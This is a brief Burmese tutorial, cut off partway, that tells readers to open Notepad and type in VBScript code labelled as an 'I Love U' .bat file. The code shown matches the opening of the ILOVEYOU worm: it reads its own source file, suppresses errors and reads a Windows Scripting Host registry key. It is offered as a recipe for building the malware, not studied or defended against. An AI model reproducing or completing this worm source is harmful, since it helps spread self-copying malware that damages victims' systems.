" I Love U " .Bat ဖိုင္ ေရးသားနည္း

Step 1: Notepad ကိုဖြင့္ပါ။
Step 2: ေအာက္တြင္ျပထားေသာ code အား notepad ထဲတြင္ရိုက္ထည့္ပါ။
     eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout")